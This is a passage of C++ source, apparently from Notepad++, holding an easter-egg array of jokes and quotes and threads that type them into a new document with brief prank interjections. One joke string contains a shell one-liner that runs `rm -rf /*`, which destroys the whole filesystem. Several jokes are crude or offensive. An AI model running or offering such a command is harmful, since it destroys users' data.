{"Anonymous #18", "Never get into fights with ugly people, they have nothing to lose."}, + {"Anonymous #19", "People who say they give 110%\ndon't really understand how percentages work."}, + {"Anonymous #20", "Never make eye contact while eating a banana."}, + {"Anonymous #21", "I love my sixpack so much, I protect it with a layer of fat."}, + {"Anonymous #22", "\"It's impossible.\" said pride.\n\"It's risky.\" said experience.\n\"It's pointless.\" said reason.\n\"Give it a try.\" whispered the heart.\n...\n\"What the hell was that?!?!?!?!?!\" shouted the anus two minutes later."}, + //{"Anonymous #23", ""}, + {"Anonymous #24", "An Architect's dream is an Engineer's nightmare."}, + {"Anonymous #25", "In a way, I feel sorry for the kids of this generation.\nThey'll have parents who know how to check browser history."}, + {"Anonymous #26", "I would never bungee jump.\nI came into this world because of a broken rubber, and I'm not going out cause of one."}, + {"Anonymous #27", "I don't have a problem with caffeine.\nI have a problem without caffeine."}, + {"Anonymous #28", "Why 6 afraid of 7?\nBecause 7 8 9 while 6 and 9 were flirting."}, + {"Anonymous #30", "Why do Java developers wear glasses?\nBecause they don't C#."}, + {"Anonymous #31", "A baby's laughter is one of the most beautiful sounds you will ever hear. Unless it's 3 AM. And you're home alone. And you don't have a baby."}, + {"Anonymous #32", "Two bytes meet. The first byte asks, \"You look terrible. Are you OK?\"\nThe second byte replies, \"No, just feeling a bit off.\""}, + {"Anonymous #33", "Programmer - an organism that turns coffee into software."}, + {"Anonymous #34", "It's not a bug - it's an undocumented feature."}, + {"Anonymous #35", "Should array index start at 0 or 1?\nMy compromised solution is 0.5"}, + {"Anonymous #36", "Every single time when I'm about to hug someone extremely sexy, I hit the mirror."}, + {"Anonymous #37", "My software never has bugs. It just develops random features."}, + {"Anonymous #38", "LISP = Lots of Irritating Silly Parentheses."}, + {"Anonymous #39", "Perl, the only language that looks the same before and after RSA encryption."}, + {"Anonymous #40", "People ask me why, as an atheist, I still say: OH MY GOD.\nIt makes perfect sense: We say \"Oh my God\" when something is UNBELIEVABLE."}, + {"Anonymous #41", "1. Dig a hole.\n2. Name it love.\n3. Watch people falling in love.\n"}, + {"Anonymous #42", "Don't think of yourself as an ugly person.\nThink of yourself as a beautiful monkey."}, + {"Anonymous #43", "Afraid to die alone?\nBecome a bus driver."}, + {"Anonymous #44", "The first 5 days after the weekend are always the hardest."}, + {"Anonymous #45", "Rhinos are just fat unicorns."}, + {"Anonymous #46", "Sometimes when I'm writing Javascript I want to throw up my hands and say \"this is bullshit!\"\nbut I can never remember what \"this\" refers to."}, + {"Anonymous #47", "Kids are like farts.\nYou can only stand yours."}, + {"Anonymous #48", "If you were born in Israel, you'd probably be Jewish.\nIf you were born in Saudi Arabia, you'd probably be Muslim.\nIf you were born in India, you'd probably be Hindu.\nBut because you were born in North America, you're Christian.\nYour faith is not inspired by some divine, constant truth.\nIt's simply geography."}, + {"Anonymous #49", "There are 2 types of people in this world:\nPeople who say they pee in the shower, and the dirty fucking liars."}, + {"Anonymous #50", "London 2012 Olympic Games - A bunch of countries coming across the ocean to put their flags in Britain and try to get a bunch of gold... it's like history but opposite."}, + {"Anonymous #51", "I don't need a stable relationship,\nI just need a stable Internet connection."}, + {"Anonymous #52", "What's the difference between religion and bullshit?\nThe bull."}, + {"Anonymous #53", "Today, as I was waiting for my girlfriend in the street, I saw a woman who looked a lot like her. I ran towards her, my arms in the air ready to give her a hug, only to realise it wasn't her. I then had to pass the woman, my arms in the air, still running. FML"}, + {"Anonymous #54", "Today, I finally got my hands on the new iPhone 5, after I pulled it out of a patient's rectum. FML"}, + {"Anonymous #55", "Violent video games won't change our behaviour.\nIf people were influenced by video games, then the majority of Facebook users would be farmers right now."}, + {"Anonymous #56", "Religion is like circumcision.\nIf you wait until someone is 21 to tell them about it they probably won't be interested."}, + {"Anonymous #57", "No, no, no, I'm not insulting you.\nI'm describing you."}, + {"Anonymous #58", "I bought a dog once. Named him \"Stay\".\n\"Come here, Stay.\"\nHe's insane now."}, + {"Anonymous #60", "Yesterday I named my Wifi network \"hack me if you can\"\nToday when I woke up it was changed to \"challenge accepted\"."}, + {"Anonymous #61", "Your mother is so fat,\nthe recursive function computing her mass causes a stack overflow."}, + {"Anonymous #62", "Oral sex makes my day, but anal sex makes my hole weak."}, + {"Anonymous #63", "I'm not saying I am Batman, I am just saying no one has ever seen me and Batman in the same room together."}, + {"Anonymous #64", "I took a taxi today.\nThe driver told me \"I love my job, I own this car, I've got my own business, I'm my own boss, NO ONE tells me what to do!\"\nI said \"TURN LEFT HERE\".\n"}, + {"Anonymous #65", "A man without God is like a fish without a bicycle."}, + {"Anonymous #66", "I hate how spiders just sit there on the walls and act like they pay rent!"}, + {"Anonymous #67", "Whenever someone starts a sentence by saying \"I'm not racist...\",they are about to say something super racist."}, + {"Anonymous #68", "I'm not laughing at you, I'm laughing with you, you're just not laughing."}, + {"Anonymous #69", "Women need a reason to have sex. Men just need a place."}, + {"Anonymous #70", "If abortion is murder then are condoms kidnapping?"}, + {"Anonymous #71", "Men also have feelings.\nFor example, they can feel hungry."}, + {"Anonymous #72", "Project Manager:\nA person who thinks 9 women can deliver a baby in 1 month."}, + {"Anonymous #73", "If you try and don't succeed, cheat. Repeat until caught. Then lie."}, + {"Anonymous #74", "Olympics is the stupidest thing.\nPeople are so proud to be competing for their country.\nThey play their stupid song and raise some dumb flags.\nI'd love to see no flags raised, no song, no mention of country.\nOnly people."}, + {"Anonymous #75", "I think therefore I am\nnot religious."}, + {"Anonymous #76", "Even if being gay were a choice, so what?\nPeople choose to be assholes and they can get married."}, + {"Anonymous #77", "Governments are like diapers.\nThey should be changed often, and for the same reason."}, + {"Anonymous #78", "If you expect the world to be fair with you because you are fair, you're fooling yourself.\nThat's like expecting the lion not to eat you because you didn't eat him."}, + {"Anonymous #79", "I'm a creationist.\nI believe man create God."}, + {"Anonymous #80", "Let's eat kids.\nLet's eat, kids.\n\nUse a comma.\nSave lives."}, + {"Anonymous #81", "A male engineering student was crossing a road one day when a frog called out to him and said, \"If you kiss me, I'll turn into a beautiful princess.\" He bent over, picked up the frog, and put it in his pocket.\n\nThe frog spoke up again and said, \"If you kiss me and turn me back into a beautiful princess, I will stay with you for one week.\" The engineering student took the frog out of his pocket, smiled at it; and returned it to his pocket.\n\nThe frog then cried out, \"If you kiss me and turn me back into a princess, I'll stay with you and do ANYTHING you want.\" Again the boy took the frog out, smiled at it, and put it back into his pocket.\n\nFinally, the frog asked, \"What is the matter? I've told you I'm a beautiful princess, that I'll stay with you for a week and do anything you want. Why won't you kiss me?\" The boy said, \"Look I'm an engineer. I don't have time for a girlfriend, but a talking frog is cool.\"\n"}, + {"Anonymous #82", "Programmers never die.\nThey just go offline."}, + {"Anonymous #83", "Copy from one, it's plagiarism.\nCopy from two, it's research."}, + {"Anonymous #84", "Saying that Java is nice because it works on all OSes is like saying that anal sex is nice because it works on all genders."}, + {"Anonymous #85", "Race, religion, ethnic pride and nationalism etc... does nothing but teach you how to hate people that you've never met."}, + {"Anonymous #86", "Farts are just the ghosts of the things we eat."}, + {"Anonymous #87", "I promised I would never kill someone who had my blood.\nBut that mosquito made me break my word."}, + {"Anonymous #88", "A foo walks into a bar,\ntakes a look around and\nsays \"Hello World!\"."}, + {"Anonymous #90", "Clapping:\n(verb)\nRepeatedly high-fiving yourself for someone else's accomplishments."}, + {"Anonymous #91", "CV: ctrl-C, ctrl-V"}, + {"Anonymous #92", "Mondays are not so bad.\nIt's your job that sucks."}, + {"Anonymous #93", "[In a job interview]\nInterviewer: What's your greatest weakness?\nCandidate: Honesty.\nInterviewer: I don't think honesty is a weakness.\nCandidate: I don't give a fuck what you think."}, + {"Anonymous #94", "Hey, I just met you\nAnd this is crazy\nHere's my number 127.0.0.1\nPing me maybe?"}, + //{"Anonymous #95", ""}, + {"Anonymous #96", "Code for 6 minutes, debug for 6 hours."}, + {"Anonymous #97", "Real Programmers don't comment their code.\nIf it was hard to write, it should be hard to read."}, + {"Anonymous #98", "My neighbours listen to good music.\nWhether they like it or not."}, + {"Anonymous #99", "I've been using Vim for about 2 years now,\nmostly because I can't figure out how to exit it."}, + {"Anonymous #100", "Dear YouTube,\nI can deal with Ads.\nI can deal with Buffer.\nBut when Ads buffer, I suffer."}, + {"Anonymous #101", "It's always sad when a man and his dick share only one brain...\nand it turns out to be the dick's."}, + {"Anonymous #102", "If IE is brave enough to ask you to set it as your default browser,\ndon't tell me you dare not ask a girl out."}, + {"Anonymous #104", "The main idea of \"Inception\":\nif you run a VM inside a VM inside a VM inside a VM inside a VM,\neverything will be very slow."}, + {"Anonymous #105", "Q: What's the object-oriented way to become wealthy?\nA: Inheritance."}, + {"Anonymous #106", "When I die, I want to go peacefully like my grandfather did, in his sleep\n- not screaming, like the passengers in his car."}, + {"Anonymous #107", "Remember, YOUR God is real.\nAll those other Gods are ridiculous, made-up nonsense.\nBut not yours.\nYour God is real. Whichever one that is."}, + {"Anonymous #108", "I hope Bruce Willis dies of a Viagra overdose,\nThe way you can see the headline:\nBruce Willis, Died Hard"}, + {"Anonymous #109", "What's the best thing about UDP jokes?\nI don't care if you get them."}, + {"Anonymous #110", "A programmer had a problem, so he decided to use threads.\nNow 2 has. He problems"}, + {"Anonymous #111", "I love how the internet has improved people's grammar far more than any English teacher has.\nIf you write \"your\" instead of \"you're\" in English class, all you get is a red mark.\nMess up on the internet, and may God have mercy on your soul."}, + {"Anonymous #112", "#hulk {\n height: 200%;\n width: 200%;\n color: green;\n}"}, + {"Anonymous #113", "Open source is communism.\nAt least it is what communism was meant to be."}, + {"Anonymous #114", "How can you face your problem if your problem is your face?"}, + {"Anonymous #115", "YOLOLO:\nYou Only LOL Once."}, + {"Anonymous #116", "Every exit is an entrance to new experiences."}, + {"Anonymous #117", "A Native American was asked:\n\"Do you celebrate Columbus day?\"\nHe replied:\n\"I don't know, do Jews celebrate Hitler's birthday?\""}, + {"Anonymous #118", "I love necrophilia, but i can't stand the awkward silences."}, + {"Anonymous #119", "\"I'm gonna Google that. BING that, Bing that, sorry.\"\n- The CEO of Bing (many times per day still)"}, + {"Anonymous #120", "Life is what happens to you while you're looking at your smartphone."}, + //{"Anonymous #121", ""}, + {"Anonymous #122", "Nerd?\nI prefer the term \"Intellectual badass\"."}, + //{"Anonymous #123", ""}, + {"Anonymous #124", "You don't need religion to have morals.\nIf you can't determine right from wrong then you lack empathy, not religion."}, + {"Anonymous #125", "Pooping with the door opened is the meaning of true freedom."}, + {"Anonymous #126", "Social media does not make people stupid.\nIt just makes stupid people more visible."}, + {"Anonymous #127", "Don't give up your dreams.\nKeep sleeping."}, + {"Anonymous #128", "I love sleep.\nNot because I'm lazy.\nBut because my dreams are better than my real life."}, + {"Anonymous #129", "What is the most used language in programming?\n\nProfanity\n"}, + {"Anonymous #130", "Common sense is so rare, it's kinda like a superpower..."}, + {"Anonymous #131", "The best thing about a boolean is even if you are wrong, you are only off by a bit."}, + {"Anonymous #132", "Benchmarks don't lie, but liars do benchmarks."}, + {"Anonymous #133", "Multitasking: Screwing up several things at once."}, + {"Anonymous #134", "Linux is user friendly.\nIt's just picky about its friends."}, + {"Anonymous #135", "Theory is when you know something, but it doesn't work.\nPractice is when something works, but you don't know why.\nProgrammers combine theory and practice: nothing works and they don't know why."}, + {"Anonymous #136", "Documentation is like sex:\nwhen it's good, it's very, very good;\nwhen it's bad, it's better than nothing."}, + {"Anonymous #137", "Home is where you poop most comfortably."}, + {"Anonymous #138", "Laptop Speakers problem: too quiet for music, too loud for porn."}, + {"Anonymous #139", "Chinese food to go: $16\nGas to go get the food: $2\nDrove home just to realize they forgot one of your containers: RICELESS"}, + {"Anonymous #140", "MS Windows is like religion to most people: they are born into it, accept it as default, never consider switching to another."}, + {"Anonymous #141", "To most religious people, the holy books are like a software license (EULA).\nNobody actually reads it. They just scroll to the bottom and click \"I agree\"."}, + {"Anonymous #142", "You are nothing but a number of days,\nwhenever each day passes then part of you has gone."}, + {"Anonymous #143", "If 666 is evil, does that make 25.8069758011 the root of all evil?"}, + {"Anonymous #144", "I don't want to sound like a badass but...\nI eject my USB drive without removing it safely."}, + {"Anonymous #145", "feet (noun)\na device used for finding legos in the dark"}, + {"Anonymous #146", "Buy a sheep\nName it \"Relation\"\nNow you have a Relationsheep\n"}, + {"Anonymous #147", "I dig, you dig, we dig,\nhe dig, she dig, they dig...\n\nIt's not a beautiful poem,\nbut it's very deep."}, + {"Anonymous #148", "UNIX command line Russian roulette:\n[ $[ $RANDOM % 6 ] == 0 ] && rm -rf /* || echo *Click*"}, + {"Anonymous #149", "unzip, strip, top, less, touch, finger, grep, mount, fsck, more, yes, fsck, fsck, fsck, umount, sleep.\n\nNo, it's not porn. It's Unix."}, + {"Anonymous #150", "To understand what recursion is, you must first understand recursion."}, + {"Anonymous #151", "Q: What's the object-oriented way to become wealthy?\nA: Inheritance."}, + {"Anonymous #152", "A SQL query goes into a bar, walks up to two tables and asks, \"Can I join you?\""}, + {"Anonymous #153", "You are not fat, you are just more visible."}, + {"Anonymous #154", "Minimalist\n (. .)\n ) (\n ( Y )\nASCII Art"}, + {"Internet #1", "If you spell \"Nothing\" backwards, it becomes \"Gnihton\" which also means nothing." }, + {"Mary Oliver", "Someone I loved once gave me a box full of darkness.\nIt took me years to understand that this, too, was a gift."}, + {"Floor", "If you fall, I will be there."}, + {"Simon Amstell", "If you have some problem in your life and need to deal with it, then use religion, that's fine.\nI use Google."}, + {"Albert Einstein", "Only 3 things are infinite:\n1. Universe.\n2. Human Stupidity.\n3. Winrar's free trial."}, + {"Terry Pratchett", "Artificial Intelligence is no match for natural stupidity."}, + {"Stewart Brand", "Once a new technology starts rolling, if you're not part of the steamroller,\nyou're part of the road."}, + {"Sam Redwine", "Software and cathedrals are much the same - first we build them, then we pray."}, + {"Jan L. A. van de Snepscheut", "In theory, there is no difference between theory and practice. But, in practice, there is."}, + {"Jessica Gaston", "One man's crappy software is another man's full time job."}, + {"Barack Obama", "Yes, we scan!"}, + {"xkcd.com", "int getRandomNumber()\n{\n return 4; //chosen by fair dice roll, guaranteed to be random.\n}\n"}, + {"Gandhi", "Earth provides enough to satisfy every man's need, but not every man's greed."}, + {"R. D. Laing", "Life is a sexually transmitted disease and the mortality rate is one hundred percent."}, + {"Hustle Man", "Politicians are like sperm.\nOne in a million turn out to be an actual human being."}, + {"Mark Twain", "Censorship is telling a man he can't have a steak just because a baby can't chew it."}, + {"Friedrich Nietzsche", "There is not enough love and goodness in the world to permit giving any of it away to imaginary beings."}, + {"Dhalsim", "Pain is a state of mind and I don't mind your pain."}, + {"Elie Wiesel", "Human beings can be beautiful or more beautiful,\nthey can be fat or skinny, they can be right or wrong,\nbut illegal? How can a human being be illegal?"}, + {"Dennis Ritchie", "Empty your memory, with a free(), like a pointer.\nIf you cast a pointer to a integer, it becomes the integer.\nIf you cast a pointer to a struct, it becomes the struct.\nThe pointer can crash, and can overflow.\nBe a pointer my friend."}, + {"Chewbacca", "Uuuuuuuuuur Ahhhhrrrrrr\nUhrrrr Ahhhhrrrrrr\nAaaarhg..."}, + {"#JeSuisCharlie", "Freedom of expression is like the air we breathe, we don't feel it, until people take it away from us.\n\nFor this reason, Je suis Charlie, not because I endorse everything they published, but because I cherish the right to speak out freely without risk even when it offends others.\nAnd no, you cannot just take someone's life for whatever he/she expressed.\n\nHence this \"Je suis Charlie\" edition.\n" } +}; + + + +const int nbWtf = 6; +char* wtf[nbWtf] = +{ + "WTF?!", + "lol", + "FAP FAP FAP", + "ROFL", + "OMFG", + "Husband is not an ATM machine!!!" +}; + +const int nbIntervalTime = 5; +int intervalTimeArray[nbIntervalTime] = {30,30,30,30,200}; +const int nbPauseTime = 3; +int pauseTimeArray[nbPauseTime] = {200,400,600}; + +const int act_doNothing = 0; +const int act_trolling = 1; +const int nbAct = 30; +int actionArray[nbAct] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0}; +const int maxRange = 200; + + +int Notepad_plus::getRandomAction(int ranNum) +{ + return actionArray[ranNum % nbAct]; +} + + +bool isInList(int elem, vector elemList) +{ + for (size_t i = 0, len = elemList.size(); i < len; ++i) + { + if (elem == elemList[i]) + return true; + } + return false; +} + + +DWORD WINAPI Notepad_plus::threadTextPlayer(void *params) +{ + // random seed generation needs only one time. + srand(static_cast(time(NULL))); + + TextPlayerParams* textPlayerParams = static_cast(params); + HWND hNpp = textPlayerParams->_nppHandle; + ScintillaEditView *pCurrentView = textPlayerParams->_pCurrentView; + const char *text2display = textPlayerParams->_text2display; + bool shouldBeTrolling = textPlayerParams->_shouldBeTrolling; + + // Open a new document + ::SendMessage(hNpp, NPPM_MENUCOMMAND, 0, IDM_FILE_NEW); + + static TextTrollerParams trollerParams; + trollerParams._pCurrentView = pCurrentView; + BufferID targetBufID = pCurrentView->getCurrentBufferID(); + trollerParams._targetBufID = targetBufID; + HANDLE mutex = ::CreateMutex(NULL, false, TEXT("nppTextWriter")); + trollerParams._mutex = mutex; + + // Get the current scintilla + HWND curScintilla = pCurrentView->getHSelf(); + const int nbMaxTrolling = 1; + int nbTrolling = 0; + vector generatedRans; + char previousChar = '\0'; + + for (size_t i = 0, len = strlen(text2display); i < len ; ++i) + { + int ranNum = getRandomNumber(maxRange); + int action = act_doNothing; + + if (shouldBeTrolling && (i > 20 && previousChar == ' ') && nbTrolling < nbMaxTrolling) + { + action = getRandomAction(ranNum); + //char toto[64]; + //sprintf(toto, "i == %d action : %d current char == %c", i, action, text2display[i]); + //writeLog(TEXT("c:\\tmp\\log.txt"), toto); + } + + if (action == act_trolling) + { + int wtfIndex = getRandomNumber() % nbWtf; + if (!isInList(wtfIndex, generatedRans)) + { + //writeLog(TEXT("c:\\tmp\\log.txt"), "trolling begin"); + generatedRans.push_back(wtfIndex); + ++nbTrolling; + trollerParams._text2display = wtf[wtfIndex]; + + ReleaseMutex(mutex); + + HANDLE hThread = ::CreateThread(NULL, 0, threadTextTroller, &trollerParams, 0, NULL); + + ::Sleep(1000); + WaitForSingleObject(mutex, INFINITE); + + ::CloseHandle(hThread); + //writeLog(TEXT("c:\\tmp\\log.txt"), "trolling end"); + } + } + + char charToShow[2] = {text2display[i], '\0'}; + + if (text2display[i] == ' ' || text2display[i] == '.') + Sleep(ranNum + pauseTimeArray[ranNum%nbPauseTime]); + else + Sleep(ranNum + intervalTimeArray[ranNum%nbIntervalTime]); + + BufferID currentBufID = pCurrentView->getCurrentBufferID(); + if (currentBufID != targetBufID) + return TRUE; + + ::SendMessage(curScintilla, SCI_APPENDTEXT, 1, reinterpret_cast(charToShow)); + ::SendMessage(curScintilla, SCI_GOTOPOS, ::SendMessage(curScintilla, SCI_GETLENGTH, 0, 0), 0); + + previousChar = text2display[i]; + //char ch[64]; + //sprintf(ch, "writting char == %c", text2display[i]); + //writeLog(TEXT("c:\\tmp\\log.txt"), ch); + } + + //writeLog(TEXT("c:\\tmp\\log.txt"), "\n\n\n\n"); + const char * quoter = textPlayerParams->_quoter; + string quoter_str = quoter; + size_t pos = quoter_str.find("Anonymous"); + if (pos == string::npos) + { + ::SendMessage(curScintilla, SCI_APPENDTEXT, 3, reinterpret_cast("\n- ")); + ::SendMessage(curScintilla, SCI_GOTOPOS, ::SendMessage(curScintilla, SCI_GETLENGTH, 0, 0), 0); + + // Display quoter + for (size_t i = 0, len = strlen(quoter); i < len; ++i) + { + int ranNum = getRandomNumber(maxRange); + + char charToShow[2] = {quoter[i], '\0'}; + + Sleep(ranNum + intervalTimeArray[ranNum%nbIntervalTime]); + + BufferID currentBufID = pCurrentView->getCurrentBufferID(); + if (currentBufID != targetBufID) + return TRUE; + + ::SendMessage(curScintilla, SCI_APPENDTEXT, 1, reinterpret_cast(charToShow)); + ::SendMessage(curScintilla, SCI_GOTOPOS, ::SendMessage(curScintilla, SCI_GETLENGTH, 0, 0), 0); + + } + } + + return TRUE; +} + + +DWORD WINAPI Notepad_plus::threadTextTroller(void *params) +{ + TextTrollerParams *textTrollerParams = static_cast(params); + WaitForSingleObject(textTrollerParams->_mutex, INFINITE); + + // random seed generation needs only one time. + srand(static_cast(time(NULL))); + + ScintillaEditView *pCurrentView = textTrollerParams->_pCurrentView; + const char *text2display = textTrollerParams->_text2display; + HWND curScintilla = pCurrentView->getHSelf(); + BufferID targetBufID = textTrollerParams->_targetBufID; + + for (size_t i = 0, len = strlen(text2display); i < len; ++i) + { + char charToShow[2] = {text2display[i], '\0'}; + int ranNum = getRandomNumber(maxRange); + if (text2display[i] == ' ' || text2display[i] == '.') + Sleep(ranNum + pauseTimeArray[ranNum%nbPauseTime]); + else + Sleep(ranNum + intervalTimeArray[ranNum%nbIntervalTime]); + + BufferID currentBufID = pCurrentView->getCurrentBufferID(); + if (currentBufID != targetBufID) + { + ReleaseMutex(textTrollerParams->_mutex); + return TRUE; + } + ::SendMessage(curScintilla, SCI_APPENDTEXT, 1, reinterpret_cast(charToShow)); + ::SendMessage(curScintilla, SCI_GOTOPOS, ::SendMessage(curScintilla, SCI_GETLENGTH, 0, 0), 0); + } + //writeLog(TEXT("c:\\tmp\\log.txt"), text2display); + int n = getRandomNumber(); + int delMethod = n%4; + if (delMethod == 0) + { + size_t len = strlen(text2display); + for (size_t j = 0; j < len; ++j) + { + if (!deleteBack(pCurrentView, targetBufID)) + break; + } + } + else if (delMethod == 1) + { + size_t len = strlen(text2display); + ::SendMessage(curScintilla, SCI_GOTOPOS, ::SendMessage(curScintilla, SCI_GETLENGTH, 0, 0) - len, 0); + for (size_t j = 0; j < len; ++j) + { + if (!deleteForward(pCurrentView, targetBufID)) + break; + } + } + else if (delMethod == 2) + { + for (size_t j = 0, len = strlen(text2display); j < len; ++j) + { + if (!selectBack(pCurrentView, targetBufID)) + break; + } + int ranNum = getRandomNumber(maxRange); + ::Sleep(ranNum + pauseTimeArray[ranNum%nbPauseTime]); + ::SendMessage(pCurrentView->getHSelf(), SCI_DELETEBACK, 0, 0); + } + else + { + auto currentPos = ::SendMessage(pCurrentView->getHSelf(), SCI_GETSELECTIONSTART, 0, 0); + ::SendMessage(pCurrentView->getHSelf(), SCI_SETSELECTION, currentPos, currentPos - strlen(text2display)); + BufferID currentBufID = pCurrentView->getCurrentBufferID(); + if (currentBufID != targetBufID) + return TRUE; + int ranNum = getRandomNumber(maxRange); + ::Sleep(ranNum + pauseTimeArray[ranNum%nbPauseTime]); + ::SendMessage(pCurrentView->getHSelf(), SCI_DELETEBACK, 0, 0); + } + + ReleaseMutex(textTrollerParams->_mutex); + return TRUE; +} + + +bool Notepad_plus::deleteBack(ScintillaEditView *pCurrentView, BufferID targetBufID) +{ + int ranNum = getRandomNumber(maxRange - 100); + BufferID currentBufID = pCurrentView->getCurrentBufferID(); + Sleep(ranNum); + if (currentBufID != targetBufID) + return false; + ::SendMessage(pCurrentView->getHSelf(), SCI_DELETEBACK, 0, 0); + return true; +} + + +bool Notepad_plus::deleteForward(ScintillaEditView *pCurrentView, BufferID targetBufID) +{ + int ranNum = getRandomNumber(maxRange - 100); + BufferID currentBufID = pCurrentView->getCurrentBufferID(); + Sleep(ranNum); + if (currentBufID != targetBufID) + return false; + ::SendMessage(pCurrentView->getHSelf(), SCI_GOTOPOS, ::SendMessage(pCurrentView->getHSelf(), SCI_GETCURRENTPOS, 0, 0) + 1, 0); + ::SendMessage(pCurrentView->getHSelf(), SCI_DELETEBACK, 0, 0); + return true; +} + + +bool Notepad_plus::selectBack(ScintillaEditView *pCurrentView, BufferID targetBufID) +{ + int ranNum = getRandomNumber(maxRange - 100); + BufferID currentBufID = pCurrentView->getCurrentBufferID(); + auto currentPos = ::SendMessage(pCurrentView->getHSelf(), SCI_GETSELECTIONSTART, 0, 0); + auto currentAnchor = ::SendMessage(pCurrentView->getHSelf(), SCI_GETSELECTIONEND, 0, 0); + Sleep(ranNum + intervalTimeArray[ranNum%nbIntervalTime]); + if (currentBufID != targetBufID) + return false; + + ::SendMessage(pCurrentView->getHSelf(), SCI_SETSELECTION, currentAnchor, --currentPos); + return true; +} + + +int Notepad_plus::getQuoteIndexFrom(const char *quoter) const +{ + if (!quoter) + return -1; + + if (stricmp(quoter, "Get them all!!!") == 0) + return -2; + + if (stricmp(quoter, "random") == 0) + { + srand(static_cast(time(NULL))); + return getRandomNumber(nbQuote); + } + + for (int i = 0; i < nbQuote; ++i) + { + if (stricmp(quotes[i]._quoter, quoter) == 0) + return i; + } + return -1; +} + + +void Notepad_plus::showAllQuotes() const +{ +} + + +void Notepad_plus::showQuoteFromIndex(int index) const +{ + if (index < 0 || index >= nbQuote) return; + showQuote(quotes[index]._quote, quotes[index]._quoter, index < 20); +} + + +void Notepad_plus::showQuote(const char *quote, const char *quoter, bool doTrolling) const +{ + static TextPlayerParams params; + params._nppHandle = Notepad_plus::_pPublicInterface->getHSelf(); + params._text2display = quote; + params._quoter = quoter; + params._pCurrentView = _pEditView; + params._shouldBeTrolling = doTrolling; + HANDLE hThread = ::CreateThread(NULL, 0, threadTextPlayer, ¶ms, 0, NULL); + ::CloseHandle(hThread); +} + + +void Notepad_plus::launchDocumentBackupTask() +{ + HANDLE hThread = ::CreateThread(NULL, 0, backupDocument, NULL, 0, NULL); + if (hThread) + ::CloseHandle(hThread); +} + + +DWORD WINAPI Notepad_plus::backupDocument(void * /*param*/) +{ + bool isSnapshotMode = true; + while (isSnapshotMode) + { + NppParameters *nppParam = NppParameters::getInstance(); + if (!nppParam) + return FALSE; + + size_t timer = nppParam->getNppGUI()._snapshotBackupTiming; + if (timer < 1000) + timer = 1000; + + ::Sleep(DWORD(timer)); + + nppParam = NppParameters::getInstance(); + if (!nppParam) + return FALSE; + + isSnapshotMode = nppParam->getNppGUI().isSnapshotMode(); + if (!isSnapshotMode) + break; + + MainFileManager->backupCurrentBuffer(); + } + return TRUE; +} + + + +#pragma warning( disable : 4127 ) +//-- undoStreamComment: New function to undo stream comment around or within selection end-points. +bool Notepad_plus::undoStreamComment(bool tryBlockComment) +{ + const TCHAR *commentStart; + const TCHAR *commentEnd; + const TCHAR *commentLineSymbol; + + generic_string symbolStart; + generic_string symbolEnd; + generic_string symbol; + + const int charbufLen = 10; + TCHAR charbuf[charbufLen]; + + bool retVal = false; + + Buffer * buf = _pEditView->getCurrentBuffer(); + //-- Avoid side-effects (e.g. cursor moves number of comment-characters) when file is read-only. + if (buf->isReadOnly()) + return false; + if (buf->getLangType() == L_USER) + { + UserLangContainer * userLangContainer = NppParameters::getInstance()->getULCFromName(buf->getUserDefineLangName()); + if (!userLangContainer) + return false; + + symbol = extractSymbol('0', '0', userLangContainer->_keywordLists[SCE_USER_KWLIST_COMMENTS]); + commentLineSymbol = symbol.c_str(); + symbolStart = extractSymbol('0', '3', userLangContainer->_keywordLists[SCE_USER_KWLIST_COMMENTS]); + commentStart = symbolStart.c_str(); + symbolEnd = extractSymbol('0', '4', userLangContainer->_keywordLists[SCE_USER_KWLIST_COMMENTS]); + commentEnd = symbolEnd.c_str(); + } + else + { + commentLineSymbol = buf->getCommentLineSymbol(); + commentStart = buf->getCommentStart(); + commentEnd = buf->getCommentEnd(); + } + + + // BlockToStreamComment: If there is no stream-comment symbol and we came not from doBlockComment, try the block comment: + if ((!commentStart) || (!commentStart[0]) || (commentStart == NULL) || (!commentEnd) || (!commentEnd[0]) || (commentEnd == NULL)) { + if (!(!commentLineSymbol || !commentLineSymbol[0] || commentLineSymbol == NULL) && tryBlockComment) + return doBlockComment(cm_uncomment); + else + return false; + } + + generic_string start_comment(commentStart); + generic_string end_comment(commentEnd); + generic_string white_space(TEXT(" ")); + size_t start_comment_length = start_comment.length(); + size_t end_comment_length = end_comment.length(); + + // do as long as stream-comments are within selection + do + { + auto selectionStart = _pEditView->execute(SCI_GETSELECTIONSTART); + auto selectionEnd = _pEditView->execute(SCI_GETSELECTIONEND); + auto caretPosition = _pEditView->execute(SCI_GETCURRENTPOS); + auto docLength = _pEditView->execute(SCI_GETLENGTH); + + // checking if caret is located in _beginning_ of selected block + bool move_caret = caretPosition < selectionEnd; + + //-- Note: The caretPosition is either at selectionEnd or at selectionStart!! selectionStart is always before (smaller) than selectionEnd!! + + //-- First, search all start_comment and end_comment before and after the selectionStart and selectionEnd position. + const int iSelStart=0, iSelEnd=1; + const size_t N_CMNT = 2; + int posStartCommentBefore[N_CMNT], posEndCommentBefore[N_CMNT], posStartCommentAfter[N_CMNT], posEndCommentAfter[N_CMNT]; + bool blnStartCommentBefore[N_CMNT], blnEndCommentBefore[N_CMNT], blnStartCommentAfter[N_CMNT], blnEndCommentAfter[N_CMNT]; + int posStartComment, posEndComment; + int selectionStartMove, selectionEndMove; + int flags; + + //-- Directly use Scintilla-Functions + // rather than _findReplaceDlg.processFindNext()which does not return the find-position and is not quiet! + flags = SCFIND_WORDSTART; + _pEditView->execute(SCI_SETSEARCHFLAGS, flags); + //-- Find all start- and end-comments before and after the selectionStart position. + //-- When searching upwards the start-position for searching must be moved one after the current position + // to find a search-string just starting before the current position! + //-- Direction DIR_UP --- + posStartCommentBefore[iSelStart] = _pEditView->searchInTarget(start_comment.c_str(), start_comment_length, selectionStart, 0); + (posStartCommentBefore[iSelStart] == -1 ? blnStartCommentBefore[iSelStart] = false : blnStartCommentBefore[iSelStart] = true); + posEndCommentBefore[iSelStart] = _pEditView->searchInTarget(end_comment.c_str(), end_comment_length, selectionStart, 0); + (posEndCommentBefore[iSelStart] == -1 ? blnEndCommentBefore[iSelStart] = false : blnEndCommentBefore[iSelStart] = true); + //-- Direction DIR_DOWN --- + posStartCommentAfter[iSelStart] = _pEditView->searchInTarget(start_comment.c_str(), start_comment_length, selectionStart, docLength); + (posStartCommentAfter[iSelStart] == -1 ? blnStartCommentAfter[iSelStart] = false : blnStartCommentAfter[iSelStart] = true); + posEndCommentAfter[iSelStart] = 